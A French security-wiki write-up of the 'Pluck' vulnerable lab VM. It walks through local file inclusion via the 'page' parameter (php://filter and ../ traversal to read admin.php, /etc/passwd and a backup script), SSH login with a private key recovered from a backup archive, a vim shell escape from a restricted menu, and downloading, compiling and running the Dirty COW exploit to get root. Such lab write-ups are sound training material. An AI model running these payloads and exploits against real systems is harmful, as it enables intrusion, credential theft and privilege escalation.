Wiki sécurité informatique

Cette page est en lecture seule. Vous pouvez afficher le texte source, mais ne pourrez pas le modifier. Contactez votre administrateur si vous pensez qu'il s'agit d'une erreur.
**Pluck - Write Up**

__Reconnaissance__

<code bash>
nmap -sS -A 192.168.43.99

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     (protocol 2.0)

80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))

3306/tcp open  mysql   MySQL (unauthorized)
</code>


__Exploitation web__

{{ :vm:pluck.png?nolink |}}

On repère rapidement une LFI dans la variable **page**.

On récupère la page admin.php avec un wrapper :

<code>
http://192.168.43.99/index.php?page=php://filter/read=convert.base64-encode/resource=admin.php
</code>
{{ :vm:wrapper_pluck.png?nolink |}}

On décode le base64 du résultat :

<code bash>

echo 'PD9waHAKaW5jbHVkZSgiaGVhZGVyLnBocCIpOwoKZWNobyAiPGJyPjxicj48YnI+IjsKaWYgKCRfUE9TVCl7CmVjaG8gJwo8YnI+PGJyPgo8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtOCBjb2wtbWQtb2Zmc2V0LTIiPgoKPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZGFuZ2VyIiByb2xlPSJhbGVydCI+JzsKIAppZihzdHJwb3MoJF9QT1NUWydlbWFpbCddLCAnXCcnKSAhPT0gZmFsc2UpIHsKCWVjaG8gICI8c3Ryb25nPllvdSBoYXZlIGFuIGVycm9yIGluIHlvdXIgU1FMIHN5bnRheDsgY2hlY2sgdGhlIG1hbnVhbCB0aGF0IGNvcnJlc3BvbmRzIHRvIHlvdXIgTXlTUUwgc2VydmVyIHZlcnNpb24gZm9yIHRoZSByaWdodCBzeW50YXggdG8gdXNlIG5lYXIgJycnIGF0IGxpbmUgNjwvc3Ryb25nPiI7Cn1lbHNlewoJZWNobyAgIjxzdHJvbmc+SW5jb3JyZWN0IFVzZXJuYW1lIG9yIFBhc3N3b3JkITwvc3Ryb25nPiI7Cn0KPz4KPC9kaXY+CjwvZGl2Pgo8L2Rpdj4KPC9kaXY+Cjw/cGhwCn0KPz4KPGJyPgo8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogICAgPGRpdiBjbGFzcz0icm93IHZlcnRpY2FsLW9mZnNldC0xMDAiPgogICAgCTxkaXYgY2xhc3M9ImNvbC1tZC00IGNvbC1tZC1vZmZzZXQtNCI+CiAgICAJCTxkaXYgY2xhc3M9InBhbmVsIHBhbmVsLWRlZmF1bHQiPgoJCQkgIAk8ZGl2IGNsYXNzPSJwYW5lbC1oZWFkaW5nIj4KCQkJICAgIAk8aDMgY2xhc3M9InBhbmVsLXRpdGxlIj5BZG1pbjwvaDM+CgkJCSAJPC9kaXY+CgkJCSAgCTxkaXYgY2xhc3M9InBhbmVsLWJvZHkiPgoJCQkgICAgCTxmb3JtIGFjY2VwdC1jaGFyc2V0PSJVVEYtOCIgcm9sZT0iZm9ybSIgYWN0aW9uPSJhZG1pbi5waHAiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgPGZpZWxkc2V0PgoJCQkgICAgCSAgCTxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPgoJCQkgICAgCQkgICAgPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSJFLW1haWwiIG5hbWU9ImVtYWlsIiB0eXBlPSJ0ZXh0Ij4KCQkJICAgIAkJPC9kaXY+CgkJCSAgICAJCTxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPgoJCQkgICAgCQkJPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSJQYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiIHR5cGU9InBhc3N3b3JkIiB2YWx1ZT0iIj4KCQkJICAgIAkJPC9kaXY+CgkJCSAgICAJCTxkaXYgY2xhc3M9ImNoZWNrYm94Ij4KCQkJICAgIAkgICAgPC9kaXY+CgkJCSAgICAJCTxpbnB1dCBjbGFzcz0iYnRuIGJ0bi1sZyBidG4tc3VjY2VzcyBidG4tYmxvY2siIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4KCQkJICAgIAk8L2ZpZWxkc2V0PgoJCQkgICAgICAJPC9mb3JtPgoJCQkgICAgPC9kaXY+CgkJCTwvZGl2PgoJCTwvZGl2PgoJPC9kaXY+Cgo8P3BocAppbmNsdWRlKCJmb290ZXIucGhwIik7Cj8+Cg==' | base64 -d > admin.php </code>

<file php admin.php>
<div class="alert alert-danger" role="alert">';
 
if(strpos($_POST['email'], '\'') !== false) {
	echo  "<strong>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 6</strong>";
}else{
	echo  "<strong>Incorrect Username or Password!</strong>";
}
?>

</file>

On remarque que l'erreur sql sur l'authentification n'est qu'un troll


On récupère le /etc/passwd
<code>
http://192.168.43.99/index.php?page=../../../../../../../../../../etc/passwd
</code>
{{ :vm:passwd.png?nolink |}}

Sur la dernière ligne on peut lire :
<code>
/usr/local/scripts/backup.sh
</code>

On récupère le fichier backup.sh
<code>
http://192.168.43.99/index.php?page=../../../../../../../../../../usr/local/scripts/backup.sh
</code>

<file bash backup.sh>
#!/bin/bash ######################## # Server Backup script # ######################## #Backup directories in /backups so we can get it via tftp echo "Backing up data" tar -cf /backups/backup.tar /home /var/www/html > /dev/null 2& > /dev/null echo "Backup complete" 
</file>


On se connecte en telnet sur la machine

<code bash>
telnet 192.168.43.99
</code>
On récupère le backup.tar
<code bash>
get /backups/backup.tar
</code>

Dedans deux dossiers : le /home et le /var/www/html

Dans le /home de l'utilisateur paul un dossier "keys" contient des clés privés et publiques.
<code bash>
total 56K
drwxr-xr-x 2 ark1nar ark1nar 4,0K janv. 18 19:09 .
drwxr-xr-x 3 ark1nar ark1nar 4,0K janv. 18 19:13 ..
-rwxr-xr-x 1 ark1nar ark1nar  668 janv. 18 19:08 id_key1
-rwxr-xr-x 1 ark1nar ark1nar  600 janv. 18 19:08 id_key1.pub
-rwxr-xr-x 1 ark1nar ark1nar  672 janv. 18 19:08 id_key2
-rwxr-xr-x 1 ark1nar ark1nar  600 janv. 18 19:08 id_key2.pub
-rwxr-xr-x 1 ark1nar ark1nar  668 janv. 18 19:08 id_key3
-rwxr-xr-x 1 ark1nar ark1nar  600 janv. 18 19:08 id_key3.pub
-rw------- 1 ark1nar ark1nar 1,7K janv. 18 19:09 id_key4
-rwxr-xr-x 1 ark1nar ark1nar  392 janv. 18 19:09 id_key4.pub
-rwxr-xr-x 1 ark1nar ark1nar  668 janv. 18 19:08 id_key5
-rwxr-xr-x 1 ark1nar ark1nar  600 janv. 18 19:08 id_key5.pub
-rwxr-xr-x 1 ark1nar ark1nar 1,7K janv. 18 19:09 id_key6
-rwxr-xr-x 1 ark1nar ark1nar  392 janv. 18 19:09 id_key6.pub
</code>

On essaye de se connecter avec les clé privés.

Seul id_key4 nous renvoie un message différent :

<code bash>
ssh paul@192.168.43.99 -i id_key4

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0755 for 'id_key4' are too open.
It is recommended that your private key files are NOT accessible by others.
This private key will be ignored.
key_load_private_type: bad permissions
paul@192.168.43.99's password: 
</code>

On met les bons droits sur la clé :
<code bash>
chmod 600 id_key4
</code>
La connexion à l'utilisateur se fait sans demander le mot de passe. 

__Exploitation système & Élévation de privilège__

On arrive dans un Pdmenu

{{ :vm:pdmenu.png?nolink |}}

On choisit l'option :"Edit File"

On essaye d’éditer n'importe quel fichier et c'est vim qui s'ouvre :

{{ :vm:edit.png?nolink |}}

Une fonctionnalité de vim nous permet d'appeler un shell
<code bash>
:set shell ?
=> shell=/usr/bin/pdmenu 
:set shell=/bin/bash
:shell
</code>

On récupère la version du noyau :

<code bash>
paul@pluck:~$ uname -a
Linux pluck 4.8.0-22-generic #24-Ubuntu SMP Sat Oct 8 09:15:00 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
</code>

Pour passer root nous allons utiliser l'exploit [[
https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679 | dirtycow]]

<code bash>
wget https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c
</code>

On le compile :
<code bash>
gcc cowroot.c -o cowroot -pthread
</code>
On l’exécute
<code bash>
./cowroot
</code>

{{ :vm:root_pluck.png?nolink |}}

Merci à l'auteur de la vm !
Wiki sécurité informatique

Outils pour utilisateurs

Outils du site

Outils de la page
